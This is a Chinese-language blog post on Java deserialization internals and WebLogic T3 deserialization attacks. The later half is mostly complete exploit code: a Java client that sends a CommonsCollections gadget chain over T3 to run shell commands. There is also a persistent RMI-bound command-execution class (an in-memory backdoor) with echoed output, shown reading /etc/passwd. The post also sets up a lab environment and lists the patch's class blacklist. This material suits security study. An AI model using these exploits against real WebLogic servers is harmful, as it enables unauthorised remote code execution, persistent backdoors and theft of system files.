赞
踩
从原生反序列化过程开始谈起。
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。
大致是这么一个过程,简单画了个图:
测试类如下:
package ser; import java.io.*; public class TestClass implements Serializable { private String text; public TestClass() { this.text = "hello world"; } private void readObject(ObjectInputStream ois) throws Exception { System.out.println("serializing......"); ois.defaultReadObject(); System.out.println("Done"); System.out.println(this.text); } public static void main(String[] args) throws IOException, ClassNotFoundException { TestClass Class = new TestClass(); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\aaa\\Documents\\GitHub\\zkar\\o.ser")); oos.writeObject(Class); oos.close(); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C:\\Users\\aaa\\Documents\\GitHub\\zkar\\o.ser")); ois.readObject(); } }
生成的序列化文件内容如下:
使用zkar查看序列化文件结构。
zkar安装
go env -w GO111MODULE=on
go mod init zkar
go env -w GOPROXY=https://goproxy.cn
go get -u github.com/phith0n/zkar
或者直接下载https://github.com/phith0n/zkar项目使用
go run main.go dump -f "o.ser"
STREAM_MAGIC - 0xac ed
是魔数,代表了序列化的格式;STREAM_VERSION - 0x00 05
表示序列化的版本;Contents
表示最终生成的序列的内容;TC_OBJECT - 0x73
表示序列化一个新类的开始标记;TC_CLASSDESC - 0x72
表示一个新非代理类的描述信息开始标记;classDescFlags - 0x02 - SC_SERIALIZABLE
表示类描述信息标记为SC_SERIALIZABLE
,代表在序列化的时候使用的是java.io.Serializable
;接下来就是一些属性的信息了,直接调试一下看看过程,主要是针对重写readObject
方法以及非代理对象的情况。
java.io.ObjectInputStream#readObject0
,这个判断就是反序列化的类型分支。
跟进java.io.ObjectInputStream#readOrdinaryObject
方法,这里先调用readClassDesc方法去读取序列化中的ObjectStreamClass
java.io.ObjectInputStream#readClassDesc
中也会跟据对象类型做判断,这里是非代理对象。
java.io.ObjectInputStream#readNonProxyDesc
在这里进行类加载,然后desc.initNonProxy
利用刚才解析出来的readDesc做一个校验并将desc初始化。
resolveClass
方法就是真正进行类加载的地方,在Shiro里面resolveClass
方法被进行了重写,导致大部分利用链失效。该方法根据ObjectStreamClass里边存储的解析出来的Class路径,从本地加载该路径。(如果要反序列化本地不存在的类就需要继承ObjectInputStream,然后重写resolveClass方法,参考:Java反序列化本地不存在的类 - 简书 (jianshu.com))
如果不存在该类则会报错ClassNotFound
现在回到java.io.ObjectInputStream#readOrdinaryObject
,调用ObjectStreamClass.newInstance()
生成了一个空的目标对象。ObjectStreamClass.newInstance()
底层调用了是刚才加载出来的Class的构造方法。
接着去填充对象里面字段的数据
java.io.ObjectInputStream#readSerialData
方法,这里slotDesc.hasReadObjectMethod()
会判断是否重写了readObject
方法。
如果重写就通过slotDesc.invokeReadObject
调用重写的readObject
方法,没有则会使用默认的defaultReadFields
方法设置属性。
通常在重写的readObject
方法都会调用java.io.ObjectInputStream#defaultReadObject
,该方法也会去调用默认的defaultReadFields
方法设置属性。
java.io.ObjectInputStream#defaultReadFields
当中会对属性对象进行递归调用其readObject0
方法完成反序列化。
完整的执行过程如下:
ObjectInputStream
实例初始化时,读取魔术头和版本号进行校验调用
ObjectInputStream.readObject()
开始读对象数据
- 读取对象类型标识
readOrdinaryObject()
读取数据对象
readClassDesc()
读取类描述数据
- 读取类描述符标识,进入分支
readNonProxyDesc()
- 读取类名
- 读取SUID
- 读取并分解序列化属性标志位
- 读取字段信息数据
resolveClass()
根据类名获取待反序列化的类的Class
对象,如果获取失败,则抛出ClassNotFoundException
skipCustomData()
循环读取字节直到Block Data结束标识为止- 读取父类描述数据
initNonProxy()
中判断对象与本地对象的SUID和类名 (不含包名) 是否相同,若不同,则抛出InvalidClassException
ObjectStreamClass.newInstance()
获取并调用离对象最近的非Serializable
的父类的无参构造方法 (若不存在,则返回null
) 创建对象实例readSerialData()
读取对象的序列化数据
- 若类自定义了
readObject()
,则调用该方法读对象,否则调用defaultReadFields()
读取并填充对象的字段数据
从上面的过程中可以看到Java 原生反序列化不使用构造函数来创建对象——而是通过反射加载字段。
而Json反序列化是在反序列化的过程中调用类属性的setter/getter
方法,将JSON字符串还原成对象。如Fastjson中的处理。
从攻击RMI的原理已知所有的对象都是通过Java序列化(客户端序列化,服务端反序列化
)传输的,那就会有readObject操作。
Weblogic反序列化漏洞的攻击方式大多是通过替换RMI通信过程中数据包的序列化数据部分。
下面先简单了解一下weblogic RMI的特点。
WebLogic RMI就是WebLogic对Java RMI(远程方法调用)的实现,都需要使用JNDI去调用RMI Client 去绑定RMI Server
服务端运行时动态生成的存根和骨架
UnicastRemoteObject
对象。客户端使用动态代理
Stub
也不再需要。使用 T3协议 | IIOP协议 进行客户端到服务端的数据传输
由于对weblogic反序列化的攻击通常使用T3协议,所以还需简单了解一下T3数据包的格式。
T3 协议是 Weblogic RMI 调用时的通信协议,使用一个简易的t3握手脚本
#python3 #coding:utf-8 import socket import sys import struct # 传入目标IP和端口 server_address = ("192.168.106.129", 7001) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(server_address) # 发送握手包 handshake='t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n' print('sending "%s"' % handshake) sock.sendall(handshake.encode()) data = sock.recv(1024) print('received "%s"' % data)
发送的数据就是一个请求头,返回包HELO后面的内容则是被攻击方的weblogic版本号
jdk地址:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html
weblogic下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
选择你想要的版本比如本文使用:weblogic1036+jdk7u21
下载完后修改一下Dockerfile文件,加上这几行以完成image构建:
# 解决libnsl包丢失的问题
RUN cd /etc/yum.repos.d/
RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*
RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*
RUN yum clean all
RUN yum makecache
RUN yum -y install libnsl
还需要修改一下拷贝依赖包的部分,加上一行:
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./middleware
容器内weblogic的错误日志位于
/u01/app/oracle/Domains/ExampleSilentWTDomain/servers/AdminServer/logs/AdminServer.log
运行对应的sh脚本文件即可起一个docker文件,脚本最后会将一些weblogic的依赖Jar包给导出来进行远程调试。
idea打开wlserver文件夹添加server\lib、modules、lib到idea依赖中,注意jdk版本要和远程服务端一致,并配置远程调试参数。
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8453
基于T3协议,利用链为CommonsCollections。
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
补丁是改写了InboundMsgAbbrev.ServerChannelInputStream
等类的resolveClass
做了如下黑名单:
org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure
使用21superman师傅的漏洞利用工具打一个攻击包进行调试。
先看一下weblogic的反序列化流程,与原生反序列化就多了个开头以及结尾resolveClass
方法不一样。
weblogic.rjvm.InboundMsgAbbrev#readObject
新建了一个内部类InboundMsgAbbrev$ServerChannelInputStream
的readObject
方法
该类继承ObjectInputStream
类,但并没有重写readObject
方法所以调用的还是java.io.ObjectInputStream#readObject
流程也是和原生反序列化基本一致的。
但该类重写了resolveClass
方法,不过在方法的最开始还是会调用父类的resolveClass
方法,也没做任何的校验。
上面原生反序列化的过程中提到真正加载类的地方就是在resolveClass
方法,如果报错则反序列化失败,所以反序列化的防护主要都是在此位置,weblogic的反序列化修复其实就是在resolveClass位置加了一层黑名单控制。
抓包上面的攻击流量可见一个握手包之后 接着就是t3协议头加上序列化内容
很明显的反序列化头数据
读取协议头的函数为com.bea.core.weblogic.rmi.client_1.11.0.0.jar! weblogic.rjvm.JVMMessage#readHeader
字段 | 含义 |
---|---|
cmd | 本次请求的类型 |
flags | 标志位 |
responseId | 标识每条流的请求顺序 |
invokeableId | 响应处理程序的id |
abbrevOffset | 相对于开始部分的偏移 |
详细解释以及t3协议处理逻辑可参考:Weblogic T3协议解析以及T3内存马
先看一下利用工具发送t3数据包的代码,可见使用socket发送,先发送一个握手包,再发送payload数据包。开始的部分为t3协议头然后拼接上序列化payload。
最后计算整个数据包的长度,添加到最前面部分
payload通常有两种生成方式:
为了方便选择第二种方法,使用socket发送数据,执行创建文件的命令。
package Weblogic; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.net.Socket; import java.util.HashMap; import java.util.Map; public class T3Handshake { public static void main(String[] args) throws Exception { // 创建与服务器的连接 Socket socket = new Socket("192.168.106.129", 7001); // 获取输出流 OutputStream outputStream = socket.getOutputStream(); outputStream.flush(); // 发送握手请求消息 // t3协议的握手请求头 byte[] handshakeRequest = "t3 12.2.3\nAS:01\nHL:19\nMS:10000000\n\n".getBytes(); outputStream.write(handshakeRequest); // 发送通信消息,即payload outputStream.write(createPayload()); socket.close(); } private static byte[] createPayload() throws Exception { String header = "00000000"; String t3header = "016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006"; String destFlag = "fe010000";//weblogic反序列化标志 StringBuilder datas = new StringBuilder(); datas.append(header) .append(t3header) .append(destFlag); //合并t3协议头和payload部分 ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); outputStream.write(hexStringToBytes(datas.toString())); outputStream.write(Payload("touch /arnoldqqq.txt")); return outputStream.toByteArray(); } public static final byte[] Payload(String cmd) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd,}), new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); return barr.toByteArray(); } public static byte[] hexStringToBytes(String hexString) { if (hexString == null || hexString.equals("")) { return null; } hexString = hexString.toUpperCase(); int length = hexString.length() / 2; char[] hexChars = hexString.toCharArray(); byte[] d = new byte[length]; for (int i = 0; i < length; i++) { int pos = i * 2; d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1])); } return d; } private static byte charToByte(char c) { return (byte) "0123456789ABCDEF".indexOf(c); } }
header字符串那是需要填数据包的长度,但直接全0,在weblogic1036+jdk7u21环境下是可以成功执行命令的。
参照这篇文章的实现方式:https://xz.aliyun.com/t/7228#toc-5
通过在服务器定义一个远程RMI接口,执行远程方法,并返回结果。
具体实现通过commoncollection3反序列化调用ClassLoader,根据字节码来自定义一个RMI接口类,在类实现的方法中返回命令执行的结果。
实现的RMI接口为:
weblogic.cluster.singleton.ClusterMasterRemote
ClusterMasterRemote
这个类位于wlfullclient.jar中,利用之前导出的jar包wlserver/server/lib/wljarbuilder.jar 去生成即可。
java -jar wljarbuilder.jar
写一个简单的恶意类,仅能执行命令回显:
package weblogic_cmd; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import weblogic.cluster.singleton.ClusterMasterRemote; import javax.naming.Context; import javax.naming.InitialContext; import java.io.InputStream; import java.rmi.RemoteException; public class shell extends AbstractTranslet implements ClusterMasterRemote { static { try{ Context ctx = new InitialContext(); ctx.rebind("test", new shell()); }catch (Exception e){ } } @Override public void setServerLocation(String path, String text) throws RemoteException { } //执行命令 @Override public String getServerLocation(String cmd) throws RemoteException { try { String[] cmds = new String[]{"/bin/bash", "-c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Thread.sleep(100); byte[] bytes = new byte[1024]; int len = 0; StringBuilder result = new StringBuilder(); while (in.available() > 0) { len = in.read(bytes); result.append(new String(bytes, 0, len, "UTF-8")).append("\n");; } return result.toString(); }catch (Exception e){ } return null; } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
最终的脚本如下,与上面的相比多了计算数据包长度,为了加载字节码payload生成换成了CC3的链子:
package weblogic_cmd; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import weblogic.cluster.singleton.ClusterMasterRemote; import weblogic.jndi.Environment; import javax.naming.Context; import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.net.Socket; import java.util.HashMap; import java.util.Map; public class EchoVul { public static void main(String[] args) throws Exception { // 创建与服务器的连接 Socket socket = new Socket("192.168.106.129", 7001); // 获取输出流 OutputStream outputStream = socket.getOutputStream(); outputStream.flush(); // 发送握手请求消息 // t3协议的握手请求头 byte[] handshakeRequest = "t3 12.2.3\nAS:01\nHL:19\nMS:10000000\n\n".getBytes(); outputStream.write(handshakeRequest); // 发送通信消息,即payload outputStream.write(createPayload("weblogic_cmd.shell")); outputStream.flush(); socket.close(); Environment environment = new Environment(); environment.setProviderUrl("t3://192.168.106.129:7001"); environment.setEnableServerAffinity(false); Context context = environment.getInitialContext(); ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("test"); // 调用RMI实例执行命令 String res = remote.getServerLocation("cat /etc/passwd"); System.out.println(res); } private static byte[] createPayload(String className) throws Exception { String t3header = "016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006"; String destFlag = "fe010000";//weblogic反序列化标志 StringBuilder datas = new StringBuilder(); datas.append(t3header).append(destFlag); //生成payload并计算包长度,生成数据包头 byte[] payload = Payload(className); String hexLen = Integer.toHexString(hexStringToBytes(datas.toString()).length+4+payload.length); StringBuilder dataLen = new StringBuilder(); dataLen.append(new String(new char[8 - hexLen.length()]).replace("\0", "0")) .append(hexLen); //合并t3协议头和payload部分 ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); outputStream.write(hexStringToBytes(dataLen + datas.toString())); outputStream.write(payload); return outputStream.toByteArray(); } private static byte[] Payload(String className) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazzz = pool.get(className); byte[] code = clazzz.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code}); setFieldValue(templatesImpl, "_name", "test"); setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } ), }; //包装innerMap,回调TransformedMap.decorate //防止payload生成过程中触发,先放进去一个空的Transform Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = LazyMap.decorate(innerMap, transformerChain); //通过反射将真正的恶意Transform放进去 setFieldValue(transformerChain, "iTransformers", transformers); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); //用AnnotationInvocationHandler对proxyMap进行包裹 handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); //生成序列化数据 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); return barr.toByteArray(); } public static byte[] hexStringToBytes(String hexString) { if (hexString == null || hexString.equals("")) { return null; } hexString = hexString.toUpperCase(); int length = hexString.length() / 2; char[] hexChars = hexString.toCharArray(); byte[] d = new byte[length]; for (int i = 0; i < length; i++) { int pos = i * 2; d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1])); } return d; } private static byte charToByte(char c) { return (byte) "0123456789ABCDEF".indexOf(c); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
利用工具的shell还有上传和解绑功能,而且验证逻辑中在发送payload后进行延时,猜测是防止绑定的时候还没注册完成导致绑定失败。
https://xz.aliyun.com/t/3847
http://xxlegend.com/2018/06/20/%E5%85%88%E7%9F%A5%E8%AE%AE%E9%A2%98%20Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AE%9E%E6%88%98%20%E8%A7%A3%E8%AF%BB/
https://docs.oracle.com/middleware/11119/wls/WLRMI/rmi_imp.htm#g1000014983
https://gitee.com/wangnfc/weblogic_exploit
https://mp.weixin.qq.com/s/Aliyq0aLJEQt5SRqaYbnrQ
https://xz.aliyun.com/t/11087
https://www.modb.pro/db/466477
https://xz.aliyun.com/t/7228
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。